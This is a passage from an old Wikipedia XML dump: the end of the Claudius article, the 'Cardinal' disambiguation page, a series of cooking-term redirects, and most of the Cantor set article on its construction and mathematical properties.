Thus the conception of Claudius as the weak fool, controlled by those he supposedly ruled, was preserved for the ages.

As time passed, Claudius was mostly forgotten outside of the historian's accounts. His books were lost first, as their antiquarian subjects became unfashionable. In the second century, [[Pertinax]], who shared his birthday, became emperor, overshadowing any commemoration of Claudius. In the third century, the emperor [[Claudius II]] Gothicus usurped his name. When Claudius Gothicus died, he was also deified, replacing Claudius in the Roman pantheon.

==Scholarly works and their impact==
Claudius wrote copiously throughout his life. [[Arnaldo Momigliano]]&lt;ref&gt;Momigliano (1934) pp. 4-6.&lt;/ref&gt; states that during the reign of Tiberius &amp;mdash; which covers the peak of Claudius' literary career &amp;mdash; it became impolitic to speak of republican Rome. The trend among the young historians was to either write about the new empire or obscure antiquarian subjects. Claudius was the rare scholar who covered both. Besides the history of Augustus' reign that caused him so much grief, his major works included an [[Etruscan civilization|Etruscan]] history and eight volumes on [[Carthage|Carthaginian]] history, as well as an Etruscan Dictionary and a book on dice playing. Despite the general avoidance of the imperatorial era, he penned a defense of [[Cicero]] against the charges of Asinius Gallus. Modern historians have used this to determine both the nature of his politics and of the aborted chapters of his civil war history. He proposed a reform of the [[Latin alphabet]] by the addition of [[Claudian letters|three new letters]], two of which served the function of the modern letters ''W'' and ''Y.'' He officially instituted the change during his censorship, but they did not survive his reign. Claudius also tried to revive the old custom of putting dots between different words (Classical Latin was written with no spacing). Finally, he wrote an eight-volume autobiography that Suetonius describes as lacking in taste.&lt;ref&gt;Suet. ''Claud.'' 41.&lt;/ref&gt; Since Claudius (like most of the members of his dynasty) heavily criticized his predecessors and relatives in surviving speeches&lt;ref&gt;See Claudius' letter to the people of Trent (linked below), in which he refers to the &quot;obstinate retirement&quot; of Tiberius. See also Josephus ''Ant Iud.'' XIX, where an edict of Claudius refers to Caligula's &quot;madness and lack of understanding.&quot;&lt;/ref&gt;, it is not hard to imagine the nature of Suetonius' charge.

[[Image:claudian-letters.jpg|left|thumb|The [[Claudian letters]]]]

Unfortunately, none of the actual works survive. They do live on as sources for the surviving histories of the Julio-Claudian dynasty. Suetonius quotes Claudius' autobiography once, and must have used it as a source numerous times. Tacitus uses Claudius' own arguments for the orthographical innovations mentioned above, and may have used him for some of the more antiquarian passages in his annals. Claudius is the source for numerous passages of [[Pliny the Elder|Pliny]]'s ''[[Natural History (Pliny)|Natural History]]''&lt;ref&gt;See Momigliano (1934) Chap. 1, note 20 (p. 83). Pliny credits him by name in Book VII 35.&lt;/ref&gt;.

The influence of historical study on Claudius is obvious. In his speech on Gallic senators, he uses a version of the founding of Rome identical to that of Livy's. The detail of his speech borders on the pedantic, a common mark of all his extant works, and he goes into long digressions on related matters. This indicates a deep knowledge of a variety of historical subjects that he could not help but share. Many of the public works instituted in his reign were based on plans first suggested by [[Julius Caesar]]. Levick believes this emulation of Caesar may have spread to all aspects of his policies&lt;ref&gt;Levick (1978).&lt;/ref&gt;. His censorship seems to have been based on those of his ancestors, particularly [[Appius Claudius Caecus]], and he used the office to put into place many policies based on those of Republican times. This is when many of his religious reforms took effect and his building efforts greatly increased during his tenure. In fact, his assumption of the office of Censor may have been motivated by a desire to see his academic labors bear fruit. For example, he knew his ancestor Appius Claudius Caecus has used the censorship to introduce the letter &quot;R&quot;, and so used his own term to introduce his new letters.

==Claudius in fiction==
[[Image:Claudius.jpg|right|thumb|150px|Cover of ''I, Claudius'' DVD]]

The emperor Claudius was the protagonist of the books ''[[I, Claudius]]'' (1934) and ''[[Claudius the God]]'' (1935) by [[Robert Graves]], which were both written in the [[Grammatical person|first-person]] to give the reader the impression that they are Claudius' [[autobiography]]. Graves employed fictive artifice to suggest that they were recently discovered, genuine translations of Claudius' writings.  To this end ''I, Claudius'' even includes a fictional account of his visit to an oracle, who predicted that the document would be rediscoved &quot;nineteen hundred year or near&quot; later. 

In 1937 director [[Josef von Sternberg]] made an unsuccessful attempt to film ''I, Claudius'', with [[Charles Laughton]] as Claudius. Unfortunately, the lead actress [[Merle Oberon]] suffered a near-fatal accident and the movie was never finished. The surviving reels were finally shown in the documentary ''[[The Epic That Never Was]]'' in 1965, revealing some of Laughton's most accomplished acting.

Graves's two books were the basis for a thirteen-part [[British Broadcasting Corporation|BBC]] series, shown on [[BBC Two|BBC2]] in [[1976 in television|1976]] and later broadcast in the [[United States|U.S.]] on ''[[Masterpiece Theatre]]'' in [[1977 in television|1977]], also titled ''I, Claudius''. [[Derek Jacobi]] starred in the title role.

Claudius and his contemporaries appear in the historical novel ''The Roman'' by [[Mika Waltari]].

There is a reference to Claudius' suppression of one of the coups against him in the movie [[Gladiator_(movie)|Gladiator]].

==See also==
*[[Roman Emperors/JulioClaudian|Julio-Claudian Family Tree]]

==Footnotes==
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&lt;references /&gt;
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==References==
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*Baldwin, B. &quot;Executions under Claudius: Seneca’s Ludus de Morte Claudii&quot;. ''Phoenix'' 18 (1964).
*Griffin, M. &quot;Claudius in Tacitus&quot;. ''Classical Quarterly'', 40 (1990), 482-501.
*Levick, B.M., &quot;Claudius: Antiquarian or Revolutionary?&quot; ''American Journal of Philology'', 99 (1978), 79-105. 
*Levick, Barbara. ''Claudius''. Yale University Press. New Haven, 1990.
*Leon, E.F., &quot;The Imbecillitas of the Emperor Claudius&quot;, ''Transactions and Proceedings of the American Philological Association'', 79 (1948), 79-86.
*McAlindon, D., &quot;Claudius and the Senators&quot;, ''American Journal of Philology'', 78 (1957), 279-286.
*Major, A., &quot;Was He Pushed or Did He Leap? Claudius' Ascent to Power&quot;, ''Ancient History'', 22 (1992), 25-31.
*Momigliano, Arnaldo. ''Claudius: the Emperor and His Achievement'' Trans. W.D. Hogarth. W. Heffer and Sons. Cambridge, 1934.
*Oost, S.V., &quot;The Career of M. Antonius Pallas&quot;, ''American Journal of Philology'', 79 (1958). 113-139. 
*Ruth, Thomas De Coursey. ''The Problem of Claudius''. (Johns Hopkins Diss., 1916).
*Ryan, F.X. &quot;Some Observations on the Censorship of Claudius and Vitellius, AD 47-48&quot;, ''American Journal of Philology'', 114 (1993), 611-618.
*Scramuzza, Vincent. ''The Emperor Claudius'' Harvard University Press. Cambridge, 1940.
*Stuart, M. &quot;The Date of the Inscription of Claudius on the Arch of Ticinum&quot; ''Am. J. Arch.'' 40 (1936). 314-322.
*Suhr, E.G., &quot;A Portrait of Claudius&quot; ''Am. J. Arch.'' 59 (1955). 319-322.
*Vessey, D.W.T.C. &quot;Thoughts on Tacitus' Portrayal of Claudius&quot; ''American Journal of Philology'', 92 (1971), 385-409.
&lt;/div&gt;

==External links==
{{Commons|Claudius}}
Ancient Sources:
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Claudius*.html Life of Claudius] (Suetonius; English translation and Latin original)
*[http://mcadams.posc.mu.edu/txt/ah/tacitus/TacitusAnnals11.html Tacitus on the second half of Claudius' reign, book 11]
*[http://mcadams.posc.mu.edu/txt/ah/tacitus/TacitusAnnals12.html Tacitus on Claudius' last years, book 12]
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Cassius_Dio/60*.html Cassius Dio's account of Claudius' reign, part I]
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Cassius_Dio/61*.html Cassius Dio's account, part II]
*[http://www.ccel.org/j/josephus/JOSEPHUS.HTM The works of Josephus]
*[http://www.forumromanum.org/literature/apocolocyntosis.html The Apocolocyntosis of the Divine Claudius]
*[http://www.csun.edu/~hcfll004/claualex.html Claudius' Letter to the Alexandrians]
*[[Lugdunum Tablet|Extract from first half of the Lyons Tablet]]
*[http://www.fordham.edu/halsall/ancient/48claudius.html Second half of the Lyons Tablet]
*[http://www.fordham.edu/halsall/ancient/tacitus-ann11a.html Tacitus' version of the Lyons Tablet speech]
*[http://www.personal.kent.edu/~bkharvey/roman/texts/citizen.htm Edict confirming the rights of the people of Trent]
Modern Biographies:
*[http://www.roman-emperors.org/claudius.htm Biography from De Imperatoribus Romanis]
*[http://www.geocities.com/Athens/Parthenon/7094/claudius.html Claudius Page]

{{start box}}
{{succession box|title=[[List of Roman Emperors|Roman Emperor]]|before=[[Caligula]]|after=[[Nero]]|years=41&amp;ndash;54}}
{{succession box|title=[[Julio-Claudian Dynasty]]|before=[[Caligula]]|after=[[Nero]]|years=41&amp;ndash;54}}
{{end box}}

[[Category:10 BC births]]
[[Category:54 deaths]]
[[Category:Roman emperors]]
[[Category:Roman era historians]]
[[Category:Julio-Claudian Dynasty]]
[[Category:Romans in Britain]]
[[Category:Murdered Roman emperors]]
[[Category:Poisoned Romans]]
[[Category:Adoptive parents]]
[[Category:Deified Roman Emperors]]
[[bg:Клавдий]]
[[ca:Claudi]]
[[da:Claudius]]
[[de:Claudius]]
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[[es:Claudio]]
[[eo:Klaŭdio]]
[[fr:Claude Ier]]
[[he:קלאודיוס]]
[[hr:Klaudije]]
[[it:Claudio (imperatore romano)]]
[[ko:클라우디우스]]
[[la:Tib. Claudius Drusus Nero Germanicus]]
[[nl:Claudius (keizer)]]
[[no:Claudius]]
[[ja:クラウディウス]]
[[pl:Klaudiusz (cesarz rzymski)]]
[[pt:Cláudio]]
[[ro:Claudius]]
[[ru:Клавдий]]
[[sk:Claudius]]
[[sl:Klavdij I.]]
[[fi:Claudius]]
[[sv:Tiberius Claudius Nero Germanicus]]
[[zh:克勞狄一世]]</text>
    </revision>
  </page>
  <page>
    <title>Cardinal</title>
    <id>6141</id>
    <revision>
      <id>39456474</id>
      <timestamp>2006-02-13T06:15:53Z</timestamp>
      <contributor>
        <ip>71.112.183.85</ip>
      </contributor>
      <text xml:space="preserve">The word '''''cardinal''''' comes from the [[Latin]] ''[[cardo]]'' for &quot;hinge&quot; and usually refers to things of fundamental importance, as in ''[[cardinal rule]]'' or ''[[cardinal sin]]s''.

'''Cardinal''' may refer to:

* [[Cardinal number]], in mathematics
* [[Cardinal directions]]
* [[Cardinal (Catholicism)]], a member of the College of Cardinals of the Catholic Church
* [[Cardinal (color)]], a vivid reddish color
* [[Cardinal (bird)]], a family of passerine birds living in the Americas
* [[Cessna 177]] aircraft
* [[St. Louis Cardinals]], a National League baseball team
* [[Arizona Cardinals]], an American football team
* [[Cardinal (beer)]], a Swiss beer brand.
* [[Cardinal and Hoosier State]] train running between Chicago and St. Louis
* [[Cardinal mark]], a sea mark used in navigation
* [[Cardinal (Amtrak)]], a [[passenger train]] service operated by [[Amtrak]]

People named '''Cardinal''' include:

* [[Douglas J. Cardinal]] (born 1934), a Canadian architect
* [[Harold Cardinal]] (1945-2005), a Cree writer and political leader

There are places that have the name '''Cardinal''' in North America:

* [[Cardinal, Ontario]]
* [[Cardinal, Virginia]], a settlement in [[Mathews County, Virginia]]

{{disambig}}

[[cs:Kardinál (rozcestník)]]
[[da:Kardinal]]
[[fr:Cardinal]]
[[he:קרדינל (פירושונים)]]
[[ja:カージナルス]]
[[nl:Kardinaal]]</text>
    </revision>
  </page>
  <page>
    <title>Cardinal numbers</title>
    <id>6142</id>
    <revision>
      <id>15904301</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cardinal number]]
</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Boiling</title>
    <id>6144</id>
    <revision>
      <id>15904303</id>
      <timestamp>2002-05-20T16:15:08Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirecting to Boiling</comment>
      <text xml:space="preserve">#REDIRECT [[Boiling]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Hot sand frying</title>
    <id>6145</id>
    <revision>
      <id>15904304</id>
      <timestamp>2002-05-22T19:12:20Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[hot sand frying]]</comment>
      <text xml:space="preserve">#redirect [[hot sand frying]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Hot salt frying</title>
    <id>6146</id>
    <revision>
      <id>15904305</id>
      <timestamp>2002-05-22T19:11:25Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[hot salt frying]]</comment>
      <text xml:space="preserve">#redirect [[hot salt frying]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Double steaming</title>
    <id>6147</id>
    <revision>
      <id>15904306</id>
      <timestamp>2002-05-22T19:33:44Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[double steaming]]</comment>
      <text xml:space="preserve">#redirect [[double steaming]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Broiling</title>
    <id>6148</id>
    <revision>
      <id>15904307</id>
      <timestamp>2002-05-22T00:47:54Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>-</comment>
      <text xml:space="preserve">#REDIRECT [[Broiling]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Baking</title>
    <id>6149</id>
    <revision>
      <id>15904308</id>
      <timestamp>2002-05-20T16:11:21Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>moving to Baking</comment>
      <text xml:space="preserve">#REDIRECT [[Baking]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Blanching</title>
    <id>6150</id>
    <revision>
      <id>15904309</id>
      <timestamp>2002-05-20T16:17:29Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>moving to Blanching</comment>
      <text xml:space="preserve">#REDIRECT [[Blanching]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Stir frying</title>
    <id>6151</id>
    <revision>
      <id>15904310</id>
      <timestamp>2002-05-22T19:38:39Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[stir frying]]</comment>
      <text xml:space="preserve">#redirect [[stir frying]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Steaming</title>
    <id>6152</id>
    <revision>
      <id>15904311</id>
      <timestamp>2002-05-22T19:31:57Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[steaming]]</comment>
      <text xml:space="preserve">#redirect [[steaming]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Weights and measures</title>
    <id>6153</id>
    <revision>
      <id>15904312</id>
      <timestamp>2002-05-22T00:32:33Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Cooking weights and measures]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Sauteeing</title>
    <id>6154</id>
    <revision>
      <id>15904313</id>
      <timestamp>2004-11-30T05:54:08Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#redirect [[Sautéing]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Pan frying</title>
    <id>6155</id>
    <revision>
      <id>15904314</id>
      <timestamp>2002-05-22T19:13:04Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[pan frying]]</comment>
      <text xml:space="preserve">#redirect [[pan frying]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Deep frying</title>
    <id>6156</id>
    <revision>
      <id>15904315</id>
      <timestamp>2002-05-22T19:09:27Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[deep frying]]</comment>
      <text xml:space="preserve">#redirect [[deep frying]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Frying</title>
    <id>6157</id>
    <revision>
      <id>15904316</id>
      <timestamp>2002-05-22T19:39:28Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[frying]]</comment>
      <text xml:space="preserve">#redirect [[frying]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Grilling</title>
    <id>6158</id>
    <revision>
      <id>15904317</id>
      <timestamp>2002-05-22T19:15:54Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[grilling]]</comment>
      <text xml:space="preserve">#redirect [[grilling]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Braising</title>
    <id>6159</id>
    <revision>
      <id>15904318</id>
      <timestamp>2002-05-22T00:46:48Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>-</comment>
      <text xml:space="preserve">#REDIRECT [[braising]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Roasting</title>
    <id>6160</id>
    <revision>
      <id>15904319</id>
      <timestamp>2002-05-22T19:25:35Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[roasting]]</comment>
      <text xml:space="preserve">#redirect [[roasting]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Poaching</title>
    <id>6161</id>
    <revision>
      <id>15904320</id>
      <timestamp>2002-05-22T19:22:48Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Poaching (cooking)]]</comment>
      <text xml:space="preserve">#redirect [[Poaching (cooking)]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Pressure cooking</title>
    <id>6162</id>
    <revision>
      <id>15904321</id>
      <timestamp>2002-05-22T19:24:10Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[pressure cooking]]</comment>
      <text xml:space="preserve">#redirect [[pressure cooking]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Pickling</title>
    <id>6163</id>
    <revision>
      <id>15904322</id>
      <timestamp>2002-05-21T22:41:08Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Pickling]]</comment>
      <text xml:space="preserve">#redirect [[Pickling]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Brining</title>
    <id>6164</id>
    <revision>
      <id>15904323</id>
      <timestamp>2002-05-22T00:29:18Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Brining]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Smoking</title>
    <id>6165</id>
    <revision>
      <id>15904324</id>
      <timestamp>2002-05-22T19:28:23Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[smoking (food)]] </comment>
      <text xml:space="preserve">#redirect [[smoking (food)]]
</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Marination</title>
    <id>6166</id>
    <revision>
      <id>15904325</id>
      <timestamp>2002-05-22T00:27:49Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>moving from cooking/marination</comment>
      <text xml:space="preserve">#REDIRECT [[Marination]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/High tech baking</title>
    <id>6167</id>
    <revision>
      <id>15904326</id>
      <timestamp>2003-11-08T12:17:58Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[FlashBake]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Barbequing</title>
    <id>6168</id>
    <revision>
      <id>15904327</id>
      <timestamp>2004-05-27T20:13:39Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Barbecue]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Microwaving</title>
    <id>6169</id>
    <revision>
      <id>27656828</id>
      <timestamp>2005-11-07T22:22:31Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Microwaving&quot; +&quot;Microwave oven&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Microwave oven]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Barbecuing</title>
    <id>6170</id>
    <revision>
      <id>15904329</id>
      <timestamp>2004-05-27T20:13:50Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Barbecue]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking/Seasoning</title>
    <id>6171</id>
    <revision>
      <id>15904330</id>
      <timestamp>2002-05-22T00:23:07Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>moving to Seasoning</comment>
      <text xml:space="preserve">#REDIRECT [[seasoning]]</text>
    </revision>
  </page>
  <page>
    <title>Cantor set</title>
    <id>6172</id>
    <revision>
      <id>42115220</id>
      <timestamp>2006-03-03T22:45:00Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <minor />
      <comment>/* The Cantor set contains no intervals */</comment>
      <text xml:space="preserve">The '''Cantor set''', introduced by [[Germany|German]] [[mathematician]] [[Georg Cantor]], is a remarkable construction involving only the [[real number]]s between zero and one. 

The Cantor set is defined by repeatedly removing the middle thirds of line segments. One starts by removing the middle third from the unit [[interval (mathematics)|interval]] [0,&amp;nbsp;1], leaving [0,&amp;nbsp;1/3] &amp;cup; [2/3,&amp;nbsp;1]. Next, the &quot;middle thirds&quot; of all of the remaining intervals are removed. This process is continued [[ad infinitum]]. The Cantor set consists of all points in the interval [0,&amp;nbsp;1] that are not removed at any step in this infinite process.

The first six steps of this process are illustrated below.

[[Image:Cantor set in seven iterations.png|Cantor set, in seven iterations|512px|Cantor set, in seven iterations]]

== What's in the Cantor set? ==

Since the Cantor set is defined as the set of points not excluded, the proportion of the unit interval remaining can be found by total length removed.  This total is the [[geometric series]]

:&lt;math&gt;\frac{1}{3} + \frac{2}{9} + \frac{4}{27} + \frac{8}{81} + \cdots = \sum_{n=0}^\infty \frac{2^n}{3^{n+1}} = \frac{1}{3}\left(\frac{1}{1-\frac{2}{3}}\right) = 1.&lt;/math&gt;

So that the proportion left is  1 &amp;ndash; 1 = 0.  Alternatively, it can be observed that each step leaves 2/3 of the length in the previous stage, so that the amount remaining is 2/3 &amp;times; 2/3 &amp;times; 2/3 &amp;times; ..., an infinite product which equals 0 in the limit.

From the calculation, it may seem surprising that there would be anything left &amp;mdash; after all, the sum of the lengths of the removed intervals is equal to the length of the original interval. However a closer look at the process reveals that there must be something left, since removing the &quot;middle third&quot; of each interval involved removing [[open set]]s (sets that do not include their endpoints). So removing the line segment (1/3,&amp;nbsp;2/3) from the original interval [0,&amp;nbsp;1] leaves behind the points 1/3 and 2/3. Subsequent steps do not remove these (or other) endpoints, since the intervals removed are always internal to the intervals remaining.  So we know for certain that the Cantor set is not empty.  

===The Cantor set contains no intervals===

The ''n''th iteration of the algorithm that produces the Cantor set yields 2&lt;sup&gt;''n''&lt;/sup&gt; intervals, each of them of length 3&lt;sup&gt;&amp;minus;''n''&lt;/sup&gt;.  Since the actual Cantor set is the infinite intersection of these iterations, it follows that the intervals shrink to single points as the limit approaches infinity.  Moreover, it is important to note that the remaining points are all numbers of the form ''k''/3&lt;sup&gt;''n''&lt;/sup&gt; such that ''n'' is a positive integer and ''k''/3&lt;sup&gt;''n''&lt;/sup&gt; does not lie in any middle third (in other words, ''k''/3&lt;sup&gt;''n''&lt;/sup&gt; is in the Cantor set if and only if it is an endpoint of some interval for the ''n''th iteration).  It is a trivial property of the real numbers that an interval of any length is uncountable by Cantor's diagonalization argument (referenced in the next section).  Thus one of the most fascinating properties of the Cantor set is that it is uncountable even though it is a collection of points rather than an interval.

== Properties ==

=== The Cantor set is uncountable ===

It can be shown that there are as many points left behind in this process as there were that were removed. To see this, we show that there is a function ''f'' from the Cantor set ''C'' to the closed interval [0,1] that is [[surjection|surjective]] (i.e. ''f'' maps from ''C'' onto [0,1]) so that the [[cardinality]] of ''C'' is no less than that of [0,1].  Since ''C'' is a subset of [0,1], its cardinality is also no greater, so it must in fact be equal.

To construct this function, consider the points in the [0,&amp;nbsp;1] interval in terms of base 3 (or [[ternary numeral system|ternary]]) notation.  In this notation, 1/3 can be written as 0.1&lt;sub&gt;3&lt;/sub&gt; and 2/3 can be written as 0.2&lt;sub&gt;3&lt;/sub&gt;, so the middle third (to be removed) contains the numbers with ternary numerals of the form 0.1xxxxx...&lt;sub&gt;3&lt;/sub&gt; where xxxxx...&lt;sub&gt;3&lt;/sub&gt; is strictly between 00000...&lt;sub&gt;3&lt;/sub&gt; and 22222...&lt;sub&gt;3&lt;/sub&gt;.   So the numbers remaining after the first step consists of
* Numbers of the form 0.0xxxxx...
* 1/3 = 0.1&lt;sub&gt;3&lt;/sub&gt; = 0.022222...&lt;sub&gt;3&lt;/sub&gt; (This alternative &quot;recurring&quot; representation of a number with a terminating numeral occurs in any  [[Numeral_system#Positional systems in detail|positional system]].)
* 2/3 = 0.122222...&lt;sub&gt;3&lt;/sub&gt; = 0.2&lt;sub&gt;3&lt;/sub&gt;
* Numbers of the form 0.2xxxxx...&lt;sub&gt;3&lt;/sub&gt;
All of which can be stated as those numbers with a ternary numeral 0.0xxxxx...&lt;sub&gt;3&lt;/sub&gt; or 0.2xxxxx...&lt;sub&gt;3&lt;/sub&gt;

The second step removes numbers of the form 0.01xxxx...&lt;sub&gt;3&lt;/sub&gt; and 0.21xxxx...&lt;sub&gt;3&lt;/sub&gt;, and (with appropriate care for the endpoints) it can be concluded that the remaining numbers are those with a ternary numeral whose first ''two'' digits are not 1.  Continuing in this way, for a number not to be excluded at step ''n'', it must have a ternary representation whose ''n''th digit is not 1.  For a number to be in the Cantor set, it will not to be excluded at any step, it must have a numeral consisting entirely of 0's and 2's.  It is worth emphasising that numbers like 1, 1/3 = 0.1&lt;sub&gt;3&lt;/sub&gt; and 7/9 = 0.21&lt;sub&gt;3&lt;/sub&gt; are in the Cantor set, as they have ternary numerals consisting entirely of 0's and 2's: 1 = 0.2222...&lt;sub&gt;3&lt;/sub&gt;, 1/3 = 0.022222...&lt;sub&gt;3&lt;/sub&gt; and 7/9 = 0.2022222...&lt;sub&gt;3&lt;/sub&gt;.  So while a number in ''C'' may have either a terminating or a recurring ternary numeral, only one of its numerals consists entirely of 0's and 2's.

The function from ''C'' to [0,1] is defined by taking the numeral that does consist entirely of 0's and 2's, and replacing all the 2's by 1's.  In a formula,

:&lt;math&gt;f \left ( \sum_{k=1}^\infty a_k 3^{-k} \right ) = \sum_{k=1}^\infty (a_k/2) 2^{-k}&lt;/math&gt;

For any number ''y'' in [0,1], its binary representation can be translated into a ternary representation of a number ''x'' in ''C'' by replacing all the 1's by 2's.  With this, ''f''(''x'') = ''y'' so that ''y'' is in the range of ''f''.  For instance if ''y''=3/5=0.100110011001...&lt;sub&gt;2&lt;/sub&gt;, we write ''x'' = 0.200220022002...&lt;sub&gt;3&lt;/sub&gt; = 7/10.  Consequently ''f'' is surjective; however, ''f'' is ''not'' [[injective function|injective]] &amp;mdash; interestingly enough, the values for which ''f''(''x'') coincides are those at opposing ends of one of the ''middle thirds'' removed.  For instance, 7/9 = 0.2022222...&lt;sub&gt;3&lt;/sub&gt; and 8/9 = 0.2200000...&lt;sub&gt;3&lt;/sub&gt; so ''f''(7/9) = 0.101111...&lt;sub&gt;2&lt;/sub&gt; = 0.11&lt;sub&gt;3&lt;/sub&gt; = ''f''(8/9).

In other words, the &quot;endpoints&quot; of the Cantor set are all numbers with ternary representation consisting of only 0's and 2's.  Since there is a clear bijection between the ternary numbers consistings of only the digits 0 and 2 and the binary numbers consisting of the digits 0 and 1, it follows that the number of endpoints in the Cantor set is equal to the number of binary strings.  The number of binary strings is uncountable by [[Cantor's diagonal argument]], thus the Cantor set contains an [[countable|uncountable]] number of points, though it contains no interval.  This is the paradox of the Cantor set, that it contains as many points as the interval from which it is taken, yet it itself contains no interval.

=== The Cantor set is a fractal ===

The Cantor set is the prototype of a [[fractal]]. It is [[self-similar]], because it is equal to two copies of itself, if each copy is shrunk by a factor of 1/3 and translated. Its [[Hausdorff dimension]] is equal to ln(2)/ln(3). It can be formed by intersecting a [[Sierpinski carpet]] with any of its lines of reflectional [[symmetry]] (such as reading the center scanline).

=== Topological and analytical properties ===

As the above summation argument shows, the Cantor set is uncountable but has [[Lebesgue measure]] 0. Since the Cantor set is the complement of a [[union (set theory)|union]] of [[open set]]s, it itself is a [[closed set|closed]] subset of the reals, and therefore a [[complete space|complete]] [[metric space]]. Since it is also [[bounded set|bounded]], the [[Heine-Borel theorem]] says that it must be [[compact space|compact]].

For any point in the Cantor set and any arbitrarily small neighborhood of the point, there is some other number with a ternary numeral of only 0's and 2's, as well as numbers whose ternary numerals contain 1's.  Hence, every point in the Cantor set is an [[accumulation point]], but none is an [[interior point]]. A closed set in which every point is an accumulation point is also called a [[perfect set]] in [[topology]], while a closed subset of the interval with no interior points is [[nowhere dense]] in the interval.

For two points in the Cantor set, there will be some ternary digit where they differ &amp;mdash; one d will have 0 and the other 2.  By splitting the Cantor set into &quot;halves&quot; depending on the value of this digit, one obtains a partition of the Cantor set into two closed sets that separate the original two points.  In the [[relative topology]] on the Cantor set, the points have been separated by a [[clopen set]].  Consequently the Cantor set is [[totally disconnected]].  As a compact totally disconnected [[Hausdorff space]], the Cantor set is an example of a [[Stone space]].

